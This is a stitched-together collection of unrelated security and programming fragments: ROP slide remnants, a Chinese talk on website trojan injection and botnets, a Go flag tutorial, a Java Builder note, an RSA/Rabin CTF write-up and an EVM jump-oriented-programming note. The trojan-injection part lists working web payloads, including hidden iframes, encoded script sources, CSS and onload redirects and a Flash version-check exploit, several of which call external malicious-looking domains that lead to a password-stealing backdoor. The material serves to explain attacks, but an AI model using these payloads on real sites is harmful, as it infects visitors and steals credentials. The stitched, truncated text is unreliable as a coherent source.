Number stitching Cisco Con!dential 50 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Future work Cisco Con!dential 51 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Search if there are numbers in memory not subject to ASLR: !  Check binaries with PIE enabled to see if anything comes up !  Probably wont come up with anything, but who knows? !  Search for gadgets in new versions of libc. Seems di"cult, but might yield a new approach General Cisco Con!dential 52 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  Get dynamic programming approach to work with large numbers: !  Challenging !  64 bit support. Easy, numbers are just bigger !  Introduce a mixed approach: !  String copying for bytes available !  Number stitching for others !  Maybe contribute it to ROPgadget (if they’re interested) Tooling Cisco Con!dential 53 © 2013-2014 Cisco and/or its a"liates. All rights reserved. Contact details Cisco Con!dential 54 © 2013-2014 Cisco and/or its a"liates. All rights reserved. !  [email protected] !  https://github.com/alexmgr/numstitch Alex Moneger Questions ? Thank you.
pdf
網路入侵攻擊實錄 中小馬、被掛馬、潘朵拉 no-name 大綱 • 瀏覽網站中小馬---使用者 • 網站被掛馬畫面(未公布資訊) • 中木馬- 天知 地知 就是我不知 • 看網站有那麼嚴重嗎?(Blog_Clickjacking&影音網馬) • 網站入侵掛馬實錄---伺服器 • 網站洩露多少重要資訊! • 使用開發套件網站安全嗎? • 網站入侵實戰!(入侵網站後台系統) • 躲在後面的神密客 ---駭客Botnet • Botnet 掛馬跳板主機 • 入侵Botnet主機(Botnet主機入侵過程手法) • 打開潘朵拉的盒子(Botnet主機資訊) 使用者 個資 網站 伺服器 Botnet 駭客 No-name 被植入後門程 式側錄密碼 被當成散播木 馬平台 殭屍主機!! (駭客分身術) 瀏覽網站中小馬 •網站被掛馬畫面(未公布資訊) •中木馬- 天知 地知 就是我不知 •看網站有那麼嚴重嗎?(Blog_Clickjacking&影音網馬) 受駭網站名單 被公告的受駭網站在上面,那沒有被公告的網站呢???? 中木馬- 天知 地知 就是我不知 使用者 Internet F/W 網站伺服器 資料庫 檔案 駭客 Port:80 瀏覽資訊、網拍 登入帳號 找尋漏洞、入侵 掛馬 <script src= http://%77%76%67%33%2E%63%6E></script> 使用者點選網馬過程完全沒有感覺!!即受駭下載木馬 常見網頁掛馬語法  Iframe的網馬: <iframe src=http://XX.XX.XX.XX width=0 height=0></iframe>  JScript 的網馬:設計 xxx.js檔案程式如下: 然後將此檔案利用任何方式上傳至目標主機 document.write("<iframe width='0' height='0' src=' http://XX.XX.XX.XX '></iframe>");  JScript 掛馬的語法為: <script language=javascript src=xxx.js></script>  JScript 變型加密的網馬: <SCRIPT language=“JScript.Encode” src=http://XX.XX.XX.XX/muma.txt></script> muma.txt 可改成任何附檔名  body 的網馬: <body onload="window.location=' http://XX.XX.XX.XX ';"></body>  隱藏的網馬: top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://XX.XX.XX.XX/muma.htm/"></iframe>'; 常見網頁掛馬語法(cont.)  CSS 的網馬:先將製作好的muma.js 先利用各種方式上傳至目標處。 body { background-image: url('javascript:document.write("<script src=http://XX.XX.XX.XX/muma.js></script>")')}  JAVA 的網馬: <SCRIPT language=javascript> window.open ("http://XX.XX.XX.XX","","toolbar=no,location=no,directories=no,status=no, menubar=no,scro llbars=no,width=1,height=1"); </script>  圖片偽裝網馬: <html> <iframe src=" http://XX.XX.XX.XX " height=0 width=0></iframe> <img src=" http://XX.XX.XX.XX/1.jpg"> </html>  編碼轉換網馬: ascii編碼轉換 <script src= http://%77%76%67%33%2E%63%6E></script> 常見網頁掛馬語法(cont.)  偽裝呼叫網馬: <frameset rows="444,0" cols="*"> <frame src="開啟的網頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"> <frame src=" http://XX.XX.XX.XX " frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"> </frameset>  欺騙超連結網址手法: <a href="http://www.XYZ.com(迷惑他人超連結網址,故意顯示這個網址卻連向木馬 網址)" onMouseOver="www_163_com(); return true;"> 網頁要顯示的內容</a> <SCRIPT Language="JavaScript"> function www_XYZ_com () { var url="真正連的網頁木馬網址"; open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,me nubar=no,scrollbars=no,r esizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT> 閃很大的 Flash 網馬 閃很大的 Flash 網馬(續)  GG.SWF源碼(片段) try{var l; var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVari able("$version");} catch(l){}; finally{if(l!="[object Error]"){ if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,") >0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47, ")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,1 15,")>0){ document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'" ></iframe>');} }} 閃很大的 Flash 網馬(續) OFFICE_0DAY 最後的大頭目 惡意程式 User 帳號密碼 有心人事 看網站有那麼嚴重嗎? 1.BlogClickjacking 2.影音網馬 網站入侵掛馬實錄 •網站洩露多少重要資訊! •使用開發套件網站安全嗎? •網站入侵實戰!(入侵網站後台系統) 網站洩露多少重要資訊!  網站上存在資訊,惡意有心收集資訊,可以得知網 站上相關訊息,並進一步可以入侵系統。  攻擊方式是利用開發人員所留下來的訊息 或程式中 開發人員為了管理方便寫入注解息訊進行攻擊入侵 系統。 入侵環境條件  可讓使用者在網站上找尋到相關資訊如註解、程式結構、網 站結構、參數名稱、變數名稱、對應實際路經等資訊。 網站上提供資訊 入侵手法分析  遠端惡意使用者可透過正常之網頁瀏覽之行為, 收集網站相關公開資訊進而判斷網站結構、程式 撰寫邏輯進而分析網站漏洞入侵網站。  網站提供注解資訊範例: 入侵攻擊流程 Internet 駭客 駭客正常瀏覽網站,從網站上公開 資訊,得知網站開發資訊。 第一步 第二步 第三步 網站上相關資訊, 注解、網站原始 碼、檔案存取路 徑等 入侵攻擊流程(cont.) 駭客 研究分析所得 網站資訊 駭客可從資訊中進行研究分析,並 可得知網站整體架構、資料庫存放 路徑、程式開發來源等資訊,進而 進行入侵網站。 第一步 第二步 網站上相關資訊,注 解、網站原始碼、檔 案存取路徑等 使用開發套件網站安全嗎?  網路套件即已經開發好的元件,提供開發者免費使 用。  攻擊方式是利用網路套件存在開發的漏洞(0_day), 或程式中開發人員為了管理方便寫入程式進行攻擊 入侵系統。  網路套件主要是開發者可能自己方便寫入後台管理 程式,或是開發安全性設計不當進入有許多的安全 性漏洞。 入侵環境條件  網路購買套件或是免費下載套件原始碼,並非自行 開發之程式,而是大家都可以取得的原始碼。 網路上提供程式開發者研究套件原始碼 入侵手法分析  惡意遠端使用者可以從網站提供訊息,了解網站 上存有那種套件資訊,進一步了解網站組成結構, 並可到網路搜尋套件資訊,下載其套件進行分析 (0_day)找尋出可能入侵的漏洞。  網站提供套件資訊範例: 注:以上範例可以了解此網站是 Discuz! 所架構套件 入侵攻擊流程 Internet 駭客 駭客正常瀏覽網站,從網站上公開 資訊,得知網站所使用那些套件。 第一步 第二步 第三步 第四步 入侵攻擊流程(cont.) 駭客 研究分析套件 程式開發漏洞 (0_Day)、程 式存在後門 駭客下載原始套件進行研究分析, 並可從套件中得知網站整體架構、 資料庫存放路徑、程式中尚未修補 漏洞、開發者留存後門指令等。 第一步 第二步 第三步 第四步 網站入侵實戰! 1.入侵網站系統 2.套件入侵系統 躲在後面的神密客 •Botnet 掛馬跳板主機 •入侵Botnet主機(Botnet主機入侵過程手法) •打開潘朵拉的盒子(Botnet主機資訊) Botnet 掛馬跳板主機 <script src= http://%77%76%67%33%2E%63%6E></script> Botnet 掛馬跳板主機 (cont.) 下載xxxo1.cn檔案 Botnet 掛馬跳板主機 (cont.) 1. <script src= http://%77%76%67%33%2E%63 %6E></script> 2.轉換<script src= http://wvg3.cn></script> 3.實際下載Botnet位置 http://xxxo1.cn/a/a7.htm Botnet 掛馬跳板主機 (cont.) 實際下載Botnet位置 http://xxxo1.cn/a/a7.htm 最終目的下載 http://xin89221.com/love/windoss .css Botnet 掛馬跳板主機 (cont.)  網頁被插入網馬連結代碼: <script src=http://%77%76%67%33%2E%63%6E></script> 掛馬分析: [body]http://bac.angie.cn/index.php [Jscript]http://%6d%62%72%32%2e%63%6e [iframe]http://xxxo1.cn/a/a7.htm [iframe]http://xxxo1.cn/a/cnzz.htm [iframe]http://xxxo1.cn/a/kk.htm [iframe]http://xxxo1.cn/a/flash.htm [iframe]http://xxxo1.cn/a/xx.htm [iframe]http://xxxo1.cn/a/office.htm [iframe]http://xxxo1.cn/a/02.htm [Jscript]http://xxxo1.cn/a/reee.js [Jscript]http://xxxo1.cn/a/rkkk.js [Jscript]http://js.tongji.cn.yahoo.com/1081870/ystat.js [Jscript]http://s23.cnzz.com/stat.php?id=1408290&web_id=1408290 最終目的下載檔案: http://xin89221.com/love/windoss.css 透過執行上例程式,來達到完全控制的目的。(豬流感H1N1病毒) Botnet 掛馬跳板主機 (cont.)  windoss.css 內會下載aa35.exe後門程式。  執行是偽裝svchost.exe程式  並會開啟port 1090使用側錄帳號密碼。
pdf
# flag 包 --- **Source & Reference** - [Go语言flag包:命令行参数解析](http://c.biancheng.net/view/5573.html) --- 几个概念: - 命令行参数(或参数):是指运行程序提供的参数 - 已定义命令行参数:是指程序中通过 flag.Xxx 等这种形式定义了的参数 - 非 flag(non-flag)命令行参数(或保留的命令行参数):先可以简单理解为 flag 包不能解析的参数 ```go package main import ( "flag" "fmt" "os" ) var ( h, H bool v bool q *bool D string Conf string ) func init() { flag.BoolVar(&h, "h", false, "帮助信息") flag.BoolVar(&h, "H", false, "帮助信息") flag.BoolVar(&v, "v", false, "显示版本号") // flag.StringVar(&D, "D", "deamon", "set descripton ") flag.StringVar(&Conf, "Conf", "/dev/conf/cli.conf", "set Conf filename ") // 另一种绑定方式 q = flag.Bool("q", false, "退出程序") // 像flag.Xxx函数格式都是一样的,第一个参数表示参数名称, // 第二个参数表示默认值,第三个参数表示使用说明和描述. // flag.XxxVar这样的函数第一个参数换成了变量地址, // 后面的参数和flag.Xxx是一样的. // 改变默认的 Usage flag.Usage = usage flag.Parse() var cmd string = flag.Arg(0) fmt.Printf("-----------------------\n") fmt.Printf("cli non=flags : %s\n", cmd) fmt.Printf("q: %b\n", *q) fmt.Printf("descripton: %s\n", D) fmt.Printf("Conf filename : %s\n", Conf) fmt.Printf("-----------------------\n") fmt.Printf("there are %d non-flag input param\n", flag.NArg()) for i, param := range flag.Args() { fmt.Printf("#%d :%s\n", i, param) } } func main() { flag.Parse() if h || H { flag.Usage() } } func usage() { fmt.Fprintf(os.Stderr, `CLI: 8.0 Usage: Cli [-hvq] [-D descripton] [-Conf filename] `) flag.PrintDefaults() } ``` flag 包实现了命令行参数的解析,大致需要几个步骤: **flag 参数定义或绑定** 定义 flags 有两种方式: 1. flag.Xxx(),其中 Xxx 可以是 Int、String 等;返回一个相应类型的指针,如: ```go var ip = flag.Int("flagname", 1234, "help message for flagname") ``` 2. flag.XxxVar(),将 flag 绑定到一个变量上,如: ```go var flagvar int flag.IntVar(&flagvar, "flagname", 1234, "help message for flagname") ``` 另外,还可以创建自定义 flag,只要实现 flag.Value 接口即可(要求 receiver 是指针),这时候可以通过如下方式定义该 flag: ```go flag.Var(&flagVal, "name", "help message for flagname") ``` 命令行 flag 的语法有如下三种形式:-flag // 只支持 bool 类型 -flag=x -flag x // 只支持非 bool 类型 **flag 参数解析** 在所有的 flag 定义完成之后,可以通过调用 `flag.Parse()` 进行解析. 根据 `Parse()` 中 for 循环终止的条件,当 parseOne 返回 false,nil 时,Parse 解析终止. ```go s := f.args[0] if len(s) == 0 || s[0] != '-' || len(s) == 1 { return false, nil } ``` 当遇到单独的一个"-"或不是"-"开始时,会停止解析.比如:./cli - -f 或 ./cli -f,这两种情况,-f 都不会被正确解析.像这些参数,我们称之为 non-flag 参数. parseOne 方法中接下来是处理 -flag=x,然后是 -flag(bool 类型)(这里对 bool 进行了特殊处理),接着是 -flag x 这种形式,最后,将解析成功的 Flag 实例存入 FlagSet 的 actual map 中. `Arg(i int)` 和 `Args()`、`NArg()`、`NFlag()` `Arg(i int)` 和 `Args()` 这两个方法就是获取 non-flag 参数的;`NArg()` 获得 non-flag 个数;`NFlag()` 获得 FlagSet 中 actual 长度(即被设置了的参数个数). flag 解析遇到 non-flag 参数就停止了.所以如果我们将 non-flag 参数放在最前面,flag 什么也不会解析,因为 flag 遇到了这个就停止解析了. **分支程序** 根据参数值,代码进入分支程序,执行相关功能.上面代码提供了 -h 参数的功能执行. ```go if h || H { flag.Usage() } ``` 总体而言,从例子上看,flag package 很有用,但是并没有强大到解析一切的程度.如果入参解析非常复杂,flag 可能捉襟见肘.
sec-knowleage
## 5. 生成器(Builder) ### Intent 封装一个对象的构造过程,并允许按步骤构造。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/db5e376d-0b3e-490e-a43a-3231914b6668.png"/> </div><br> ### Implementation 以下是一个简易的 StringBuilder 实现,参考了 JDK 1.8 源码。 ```java public class AbstractStringBuilder { protected char[] value; protected int count; public AbstractStringBuilder(int capacity) { count = 0; value = new char[capacity]; } public AbstractStringBuilder append(char c) { ensureCapacityInternal(count + 1); value[count++] = c; return this; } private void ensureCapacityInternal(int minimumCapacity) { // overflow-conscious code if (minimumCapacity - value.length > 0) expandCapacity(minimumCapacity); } void expandCapacity(int minimumCapacity) { int newCapacity = value.length * 2 + 2; if (newCapacity - minimumCapacity < 0) newCapacity = minimumCapacity; if (newCapacity < 0) { if (minimumCapacity < 0) // overflow throw new OutOfMemoryError(); newCapacity = Integer.MAX_VALUE; } value = Arrays.copyOf(value, newCapacity); } } ``` ```java public class StringBuilder extends AbstractStringBuilder { public StringBuilder() { super(16); } @Override public String toString() { // Create a copy, don't share the array return new String(value, 0, count); } } ``` ```java public class Client { public static void main(String[] args) { StringBuilder sb = new StringBuilder(); final int count = 26; for (int i = 0; i < count; i++) { sb.append((char) ('a' + i)); } System.out.println(sb.toString()); } } ``` ```html abcdefghijklmnopqrstuvwxyz ``` ### JDK - [java.lang.StringBuilder](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuilder.html) - [java.nio.ByteBuffer](http://docs.oracle.com/javase/8/docs/api/java/nio/ByteBuffer.html#put-byte-) - [java.lang.StringBuffer](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuffer.html#append-boolean-) - [java.lang.Appendable](http://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html) - [Apache Camel builders](https://github.com/apache/camel/tree/0e195428ee04531be27a0b659005e3aa8d159d23/camel-core/src/main/java/org/apache/camel/builder)
sec-knowleage
## Rsabin (crypro, 314p, 37 solves) > Classical things? > [rsabin-a51076632142e074947b08396bf35ab2.tgz](rsabin.tgz) ### PL [ENG](#eng-version) Z dołączonego do zadania pliku tgz wypakowujemy dwa kolejne - [rsabin.py](rsabin.py) (kod szyfrujący coś) oraz [cipher.txt](cipher.txt) (wynik wykonania go). Kod szyfrujący wygląda tak: ```python from Crypto.Util.number import * p = getPrime(157) q = getPrime(157) n = p * q e = 31415926535897932384 flag = open('flag').read().strip() assert len(flag) == 50 m = int(flag.encode('hex'), 16) c = pow(m, e, n) print 'n =', n print 'e =', e print 'c =', c ``` A dane tak: ``` n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307 e = 31415926535897932384 c = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902 ``` N jest na tyle małe, że można go sfaktoryzować (albo znaleźć w factordb): ``` p = 123722643358410276082662590855480232574295213977 q = n / p ``` Na pierwszy rzut oka szyfrowanie wygląda na klasyczne RSA. Uwagę przykuwa jednak dość nietypowy wybór eksponenty szyfrującej `e`. Jej dalsza analiza pozwala stwierdzić, że całe szyfrowanie jest wykonane `niepoprawnie`, ponieważ eksponenta nie spełnia założenia `gcd(e, (p-1)(q-1)) == 1`. Brak tego założenia sprawia, że RSA nie może poprawnie zdekodować zaszyfrowanej wiadomości. Faktoryzacja `e` pozwala stwierdzić że ma ona `2^5` w swoim rozkładzie na czynniki i z tego powodu ma wspólne dzielniki z `(p-1)(q-1)`. Musimy się więc pozbyć tego czynnika z wykładnika. Kilka godzin czytania na temat RSA oraz arytmetyki modularnej pozwala nam dojść do wniosku, że możemy wykorzystać Algorytm Rabina (stąd też zapewne gra słów w tytule zadania) aby pozbyć się niechcianego czynnika z eksponenty. RSA koduje dane poprzez: `cipher_text = (plain_text^e)%n` Algorytm Rabina szyfruje jako: `cipher_text = (plain_text^2)%n` W naszym przypadku możemy przyjąć, że `e = e'*32` i uzyskujemy dzięki temu: `cipher_text = (plain_text^e)%n = (plain_text^(e'*32))%n` Teraz jeśli oznaczymy `x = plain_text^e'*16` to nasze równanie będzie miało postać `cipher_text = (x^2)%n` czyli dokładnie postać znaną z Algorytmu Rabina! Oznacza to, że dekodując nasz zaszyfrowany tekst Algorytmem Rabina możemy uzyskać potencjalne wartości `x`. Warto wspomnieć, że takich potencjalnych wartości będzie 4 bo algorytm jest niejednoznaczny. Możemy zaprezentowaną metodę stosować wielokrotnie, a każde zastosowaniede szyfrowania z Algorytmu Rabina spowoduje "usunięcie" jednego czynnika 2 z wykładnika. To oznacza, ze jednokrotne deszyfrowanie da nam możliwe wartości `plain_text^e'*16`, kolejne `plain_text^e'*8`, ..., a piąte `plain_text^e'` Widzimy więc, że po pięciu deszyfrowaniach uzyskamy wreszcie postać którą będziemy mogli odszyfrować za pomocą RSA, pamiętając przy tym, że nasza eksponenta uległa zmianie i wynosi teraz `31415926535897932384/32`. Wykonujemy więc: ```python n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307L p = 123722643358410276082662590855480232574295213977L q = n / p e = 31415926535897932384L e_p = e / 32 ct = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902 d = get_d(p, n, e_p) rabin = Rabin(p, q) partially_decoded_ct = [ct] for i in range(5): new_partially_decoded_ct = [] for ct_p in partially_decoded_ct: new_ct_p = rabin.decrypt(ct_p) new_partially_decoded_ct.extend(list(new_ct_p)) partially_decoded_ct = set(new_partially_decoded_ct) potential_plaintext = [] for potential_rsa_ct in partially_decoded_ct: pt = pow(potential_rsa_ct, d, n) potential_plaintext.append(pt) print(potential_plaintext) ``` Kompletny kod dla tego kroku jest dostępny [tutaj](rsa_rabin.py). Teoretycznie każde deszyfrowanie Rabina mogło dać nam 4 różne potencjalne plaintexty, w praktyce niektóre są identyczne więc ich liczba finalnie wyniosła 16. Tak więc otrzymujemy w końcu listę liczb które mogły potencjalnie być szyfrowaną wiadomością. Nie jest ona specjalnie długa: ``` 11781957604393222865231495052284116318876440682267206215409582095778432861874348660845251848045 4169292882246487226436372571580328445408188970955313275707356349635909107039805208587333631745 1170873348295885335059944818034561278496937179514286352764111586578035361653036340797178495797 13871573946024796279189581177591269513969694950673020202114872377044854770083045515434824811804 6441791373850850303735177662669226594971314531797606586938114159564488393181507111460739720503 19142491971579761247864814022225934830444072302956340436288874950031307801611516286098386036510 16144072437629159356488386268680167663532820511515313513345630186973434056224747418308230900562 8531407715482423717693263787976379790064568800203420573643404440830910301390203966050312684262 1055425717878104375386098355306535487232069922237396940514031160338383741028199997840854113277 13756126315607015319515734714863243722704827693396130789864791950805203149458209172478500429284 11591134129841181208716021381503690146413855638482506249018420423689972012921602773678731165798 3978469407694445569920898900799902272945603927170613309316194677547448258087059321420812949498 16334895912181201013003859939460593835995405555300013479736791859061894905177493305474751582809 8722231190034465374208737458756805962527153843988120540034566112919371150342949853216833366509 6557239004268631263409024125397252386236181789074495999188194585804140013806343454417064103023 19257939601997542207538660484953960621708939560233229848538955376270959422236352629054710419030 ``` Więc co pozostaje? Tylko odczytać je jako tekst i uzyskać flagę? Jest mały problem - w źródle widzimy: `assert len(flag) == 50` A jednocześnie `len(long_to_bytes(n))` jest równe 40 - to oznacza, że nasza szyfrowana wiadomość o długości 50 bajtów jest przycinana przez modulo. Co z tym zrobić? Jedyne co się da to bruteforce - ale niestety, 10 bajtów to dużo za dużo na jakikolwiek bruteforce. Na szczęście - wiemy coś o wiadomości. Konkretnie, jak się zaczyna i kończy. Na pewno jest to flaga, więc pierwsze bajty to `hitcon{` a ostatni bajt to `}`. Rozpiszmy sobie, jak wygląda flaga, oraz kilka naszych pomocniczych zmiennych (o nich później): ```python flag = hitcon{ABCxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx} const = hitcon{ } brute = ABC msg = xyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx ``` Po co taki podział? Otóż znamy `flag % n`, ale niestety, jest to niejednoznaczne (bo `flag` ma 50 bajtów, a `n` 40). Ale gdybyśmy poznali samo "msg", to `msg % n` jest już jednoznaczne (bo jest krótsze niż `n`). A jak go poznać? Na pewno znamy `const` - możemy odjąć je od flagi. Możemy też brutować `brute` - to tylko trzy bajty, i sprawdzać każde możliwe `msg` po kolei. Piszemy kod łamiący/bruteforcujący flagę: ```python def crack_flag(ct, n): n_len = 40 flag_len = 50 const = int('hitcon{'.encode('hex'), 16) * (256**(flag_len - 7)) for a in range(32, 128): for b in range(32, 128): for c in range(32, 127): brute = (a * 256 * 256 + b * 256 + c) * (256**(flag_len - 10)) flag = (ct - const - brute) % n flag = (flag - ord('}')) * modinv(256, n) % n flagstr = long_to_bytes(flag) if all(32 <= ord(c) <= 128 for c in flagstr): print chr(a) + chr(b) + chr(c) + flagstr n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307 for msg in possible_inputs: print 'testing', msg crack_flag(msg, n) ``` Po uruchomieniu go, ostatecznie dostajemy flagę w swoje ręce: `Congratz~~! Let's eat an apple pi <3.14159` Pamiętamy żeby dopisać obciętą stałą część: `hitcon{Congratz~~! Let's eat an apple pi <3.14159}` Jesteśmy 314 punktów do przodu. ### ENG version From the task archive we extract two files: [rsabin.py](rsabin.py) (cipher code) and [cipher.txt](cipher.txt) (results of the cipher code). Cipher code is: ```python from Crypto.Util.number import * p = getPrime(157) q = getPrime(157) n = p * q e = 31415926535897932384 flag = open('flag').read().strip() assert len(flag) == 50 m = int(flag.encode('hex'), 16) c = pow(m, e, n) print 'n =', n print 'e =', e print 'c =', c ``` And the result data: ``` n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307 e = 31415926535897932384 c = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902 ``` N is small enough to factor (or check in factordb): ``` p = 123722643358410276082662590855480232574295213977 q = n / p ``` At the first glance the cipher resembles classical RSA. What catches attention is an unusual choice of cipher exponent `e`. Exponent analysis leads us to conclusion that the whole cipher is `incorrect` as RSA since the exponent violates the assumption `gcd(e, (p-1)(q-1)) == 1`. Lack of this property means that RSA cannot correctly decrypt the message simply by applying the decryption exponent `d`. Factorization of `e` shows us that is has `2^5` as factor and therefore it has common divisors with `(p-1)(q-1)`. We need to get rid of this factor from exponent. Few hours reading about RSA and modular arythmetics leads us to conclusion that we can use Rabin Algorithm (this is probably the reason for word play in the task title) to remove the unwanted part of exponent. RSA encodes the data by: `cipher_text = (plain_text^e)%n` Rabin Algorithm does this by: `cipher_text = (plain_text^2)%n` If we introduce a new variable `e'` such that `e = e'*32` we get: `cipher_text = (plain_text^e)%n = (plain_text^(e'*32))%n` Now if we introduce a new variable `x` such that `x = plain_text^e'*16` then our equation will be `cipher_text = (x^2)%n` which is exactly the ciphertext formula from Rabin Algorithm! This means that we can use decrypt function from Rabin Algorithm on our ciphertext and get potential `x` values. It's worth noting that there will be 4 potential values since this algorithm is ambigious. We can use the presented method multiple times and each Rabin decryption run will "remove" a 2 factor from exponent. This means that single decryption will give us potential values of `plain_text^e'*16`, next one `plain_text^e'*8`, ..., and the fifth will give `plain_text^e'` We can see that after five consecutive decryptions we will finally get a ciphertext that can be decoded by RSA. We need to keep in mind here that the exponent for RSA is now changed because we removed the 32 so it is now: `31415926535897932384/32`. We execute the code: ```python n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307L p = 123722643358410276082662590855480232574295213977L q = n / p e = 31415926535897932384L e_p = e / 32 ct = 19103602508342401901122269279664114182748999577286972038123073823905007006697188423804611222902 d = get_d(p, n, e_p) rabin = Rabin(p, q) partially_decoded_ct = [ct] for i in range(5): new_partially_decoded_ct = [] for ct_p in partially_decoded_ct: new_ct_p = rabin.decrypt(ct_p) new_partially_decoded_ct.extend(list(new_ct_p)) partially_decoded_ct = set(new_partially_decoded_ct) potential_plaintext = [] for potential_rsa_ct in partially_decoded_ct: pt = pow(potential_rsa_ct, d, n) potential_plaintext.append(pt) print(potential_plaintext) ``` Complete code for this step is available [here](rsa_rabin.py). Theoretically each Rabin decryption could give 4 different potential plaintexts, however in reality a lot of them were identical so finally there were only 16 to check. So we end up with a list of potential plaintext values. It's not very long: ``` 11781957604393222865231495052284116318876440682267206215409582095778432861874348660845251848045 4169292882246487226436372571580328445408188970955313275707356349635909107039805208587333631745 1170873348295885335059944818034561278496937179514286352764111586578035361653036340797178495797 13871573946024796279189581177591269513969694950673020202114872377044854770083045515434824811804 6441791373850850303735177662669226594971314531797606586938114159564488393181507111460739720503 19142491971579761247864814022225934830444072302956340436288874950031307801611516286098386036510 16144072437629159356488386268680167663532820511515313513345630186973434056224747418308230900562 8531407715482423717693263787976379790064568800203420573643404440830910301390203966050312684262 1055425717878104375386098355306535487232069922237396940514031160338383741028199997840854113277 13756126315607015319515734714863243722704827693396130789864791950805203149458209172478500429284 11591134129841181208716021381503690146413855638482506249018420423689972012921602773678731165798 3978469407694445569920898900799902272945603927170613309316194677547448258087059321420812949498 16334895912181201013003859939460593835995405555300013479736791859061894905177493305474751582809 8722231190034465374208737458756805962527153843988120540034566112919371150342949853216833366509 6557239004268631263409024125397252386236181789074495999188194585804140013806343454417064103023 19257939601997542207538660484953960621708939560233229848538955376270959422236352629054710419030 ``` So what is left? Just read the values as text? Unfortunately there is a problem - in the cipher code we have: `assert len(flag) == 50` But at the same time `len(long_to_bytes(n))` equals 40 - this means that our message was 50 bytes long and got "cut" by modulo operation. What can we do? The only way is a brute-force - but brute-forcing 10 bytes is a lot. Fortunately we know some things about the message. We know the prefix and suffix. It has to be the flag therefore it starts with `hitcon{` and ends with `}`. Let's start with drawing how the flag and our additional variables look like: ```python flag = hitcon{ABCxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx} const = hitcon{ } brute = ABC msg = xyzxyzxyzxyzxyzxyzxyzxyzxyzxyzx ``` Why this division? We know the value of `flag %n` but it is ambigious (since `flag` has 50 bytes and `n` has 40). However is we know only "msg" part then `msg % n` is not ambigious (since it is shorter than n). But how to get it? We know `const` so we can cut this out of the flag. We can also brute-force the `brute` part - this is only 3 bytes, and check every possible `msg`. We write the code to crack the flag: ```python def crack_flag(ct, n): n_len = 40 flag_len = 50 const = int('hitcon{'.encode('hex'), 16) * (256**(flag_len - 7)) for a in range(32, 128): for b in range(32, 128): for c in range(32, 127): brute = (a * 256 * 256 + b * 256 + c) * (256**(flag_len - 10)) flag = (ct - const - brute) % n flag = (flag - ord('}')) * modinv(256, n) % n flagstr = long_to_bytes(flag) if all(32 <= ord(c) <= 128 for c in flagstr): print chr(a) + chr(b) + chr(c) + flagstr n = 20313365319875646582924758840260496108941009482470626789052986536609343163264552626895564532307 for msg in possible_inputs: print 'testing', msg crack_flag(msg, n) ``` After we run it we finally get the flag from one of ciphertexts: `Congratz~~! Let's eat an apple pi <3.14159` We also remember that we removed the const part: `hitcon{Congratz~~! Let's eat an apple pi <3.14159}` And we have +314 points.
sec-knowleage
# Writeup InsomniHack CTF 2017 Team: msm, rev, shalom, akrasuski1, nazywam, c7f.m0d3, cr01283 ### Table of contents * [bender_safe](bender_safe) * [internet_of_fail](internet_of_fail) * [mindreader](mindreader) * [cryptoquizz](cryptoquizz) * [the_great_escape1](the_great_escape1) * [the_great_escape2](the_great_escape2)
sec-knowleage
# Jump Oriented Programming ## 原理 类似于 pwn 中的 ROP,EVM 中也有 JOP(Jump Oriented Programming)。JOP 的思想和 ROP 是相似的:串联起一个个小的代码片段(gadget),达成一定的目的。 涉及到JOP 的是如下三个字节码: - 0x56 JUMP - 0x57 JUMPI - 0x5B JUMPDEST 在 EVM 中的无条件跳转 `JUMP` 和条件跳转 `JUMPI` 的目的地都必须是 `JUMPDEST`,这点和 ROP 可以任选返回地址不同。 另外需要注意的是,EVM 虽然使用的是变长指令,但是不允许像 ROP 那样跳到一条指令的中间。比如 64 位的 `pop r15` 是 `A_`,ROP 时直接落在第二个字节则可以当成 `pop rdi` 使用;EVM `PUSH1 0x5B` 中的 `0x5B` 则不能当作 `JUMPDEST` 使用。 通常需要用到 JOP 的合约在编写时都夹杂着内联汇编的后门,需要人工逆向识别查找两样东西: 1. 通常控制流可达、可以控制跳转地址的起点 1. `JUMPDEST` 之后实现了一些特殊功能,然后再接一个 `JUMP` 指令的各种 gadget gadget 需要实现的功能因题目要求或考察点而异,比如要实现一个外部合约的调用,就要先按照顺序将各种偏移、gas等数据布置在栈上。在 JOP 的最后需要一个 `JUMPDEST; STOP` 作为结束的着陆点,否则一旦执行出错就会导致交易回滚。 除了以上的三个字节码,EIP-2315 还提出了 `BEGINSUB`、`RETURNSUB`、`JUMPSUB` 三个字节码。其中 `JUMPSUB` 和 `JUMP` 相似,只是跳转的目的地必须是 `BEGINSUB`;而 `RETURNSUB` 相当于 ROP 中的 `ret`,对目标地址没有限制。EIP-2315 在柏林升级前曾被列入升级列表,不久后又被移除,目前仍处于草案阶段。 ## 题目 ### RealWorldCTF Final 2018 - 题目名称 Acoraida Monica ### RealWorldCTF 3rd 2021 - 题目名称 Re: Montagy !!! note 注:题目附件相关内容可至 